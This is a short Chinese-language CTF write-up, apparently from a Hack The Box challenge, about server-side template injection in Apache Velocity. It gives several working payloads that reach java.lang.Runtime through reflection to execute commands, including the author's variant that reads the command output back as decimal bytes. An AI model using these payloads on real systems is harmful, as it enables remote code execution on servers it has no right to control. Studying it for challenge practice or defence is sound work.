Tritium

Tritium

對於Velocity模板SSTI的有回顯RCE方法

這兩天做 HTB 上的一個題 出了一道對 Velocity 的 SSTI,嘗試網上的 payload 以後發現都有不同的缺點或者基本不可用 遂記錄一下自己改出的一個能回显的 payload

題目給出了源碼 很明顯帶有 ssti

Untitled.png

網上的 payload1:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

這個 payload 是用的反射 get 的 runtime 但是沒有回显 在這個靶機不出網的環境下不好用

payload2:

這個是 hacktrick 給出的 理論上是帶有回显的

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

其中的 $class 和 inspect 都局限很大 在這個題中完全無法 rce

基於 payload1 通過反射達到帶有回显的效果:

#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read()) 
$str.newInstance().valueOf($out.read()) 

用這個 payload 打出的回显是 decimal 給出的 自己過一遍 cyberchef 或者再寫一個循環轉 chr 的語句都可以

Untitled.png

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。